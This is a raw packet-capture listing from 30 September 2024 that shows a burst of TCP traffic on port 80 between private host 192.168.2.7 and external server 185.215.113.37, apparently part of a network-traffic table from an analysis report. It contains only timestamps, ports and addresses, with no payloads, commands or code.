Sep 30, 2024 15:20:13.749771118 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749778032 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749788046 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749789953 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749805927 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749814034 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749818087 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749830008 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749839067 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749840975 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749856949 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749862909 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749867916 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749878883 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749886036 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749890089 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749902010 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749902010 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749912024 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749922991 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749929905 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749938011 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749947071 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749955893 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749958992 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749964952 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.749968052 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749979019 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.749989033 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750010967 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750617981 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750627995 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750637054 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750648022 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750657082 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750658035 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750670910 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750679016 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750680923 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750694036 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750704050 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750710011 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750720978 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750722885 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750732899 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750741959 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750745058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750756025 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750761986 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750767946 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750780106 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750787973 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750791073 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750802040 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750802040 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750813961 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750823975 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750825882 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750835896 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750847101 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750853062 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750859022 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750868082 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.750869989 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.750896931 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.751455069 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.751466036 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.751475096 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.751485109 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.751492977 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.751497030 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.751508951 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.751513004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.751526117 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.751533031 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.751534939 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.751563072 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.833822012 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.833848953 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.833861113 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.833872080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.833883047 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.833914995 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.833937883 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.833952904 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.833981991 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.833991051 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.833996058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834026098 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834037066 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834141016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834153891 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834167004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834178925 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834204912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834248066 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834263086 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834274054 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834278107 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834306955 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834357023 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834394932 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834407091 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834417105 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834449053 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834470987 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834541082 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834552050 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834563017 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834574938 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834587097 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834597111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834606886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834606886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834606886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834645987 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834645987 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834795952 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834806919 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834816933 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834826946 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834839106 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834849119 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.834851980 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834851980 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834892988 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.834935904 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835066080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835083008 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835093975 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835104942 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835113049 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835117102 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835128069 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835133076 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835133076 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835149050 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835159063 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835190058 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835325003 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835338116 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835351944 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835362911 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835375071 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835391998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835414886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835414886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835414886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835427999 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835438967 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835452080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835463047 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835473061 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835480928 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835484982 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835499048 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835500002 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835513115 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835520983 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835525036 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835537910 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835553885 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835553885 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835585117 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835879087 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835890055 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835901022 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.835922956 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.835957050 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836026907 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836039066 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836049080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836060047 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836071968 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836081028 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836081028 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836081028 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836093903 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836105108 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836116076 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836128950 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836128950 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836144924 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836144924 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836159945 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836163044 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836173058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836184978 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836194992 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836195946 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836195946 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836205959 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836216927 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836226940 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836230040 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836230040 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836242914 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836255074 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836265087 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836265087 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836293936 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836687088 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836740971 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836904049 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836915016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836924076 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836935043 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836952925 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836963892 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836966991 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836967945 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836976051 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836978912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.836988926 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.836998940 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837008953 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837018013 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837021112 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837032080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837042093 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837052107 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837053061 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837053061 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837064028 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837073088 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837083101 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837097883 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837099075 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837110043 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837116003 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837121010 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837131977 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837141991 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837151051 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837151051 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837152958 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837191105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837192059 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837867975 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837886095 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837896109 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837905884 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837917089 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837919950 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837919950 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837929010 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837939024 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837949991 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837960005 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837966919 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837966919 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837973118 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837985039 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.837985992 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.837996006 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838006973 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838016987 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838027000 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838027000 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.838027000 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.838037968 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838048935 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838054895 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.838058949 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838071108 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838082075 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838090897 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.838090897 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.838093996 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.838129997 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.838129997 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.920818090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.920833111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.920845032 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.920875072 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.920885086 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.920895100 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.920906067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.920917034 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.920944929 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.920981884 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921006918 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921016932 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921060085 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921073914 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921142101 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921153069 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921163082 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921175003 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921185970 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921195030 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921205044 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921215057 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921215057 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921242952 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921405077 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921416998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921427965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921437979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921448946 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921449900 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921462059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921468019 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921473980 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921485901 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.921514988 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.921515942 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922379971 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922436953 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922440052 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922451973 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922489882 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922538042 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922549963 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922560930 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922573090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922590971 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922626972 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922626972 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922785997 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922797918 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922807932 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922817945 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922828913 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922840118 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922851086 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.922861099 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922861099 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922875881 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.922921896 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.923086882 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:13.923142910 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:13.923171043 CEST	80	49699	185.215.113.37	192.168.2.7
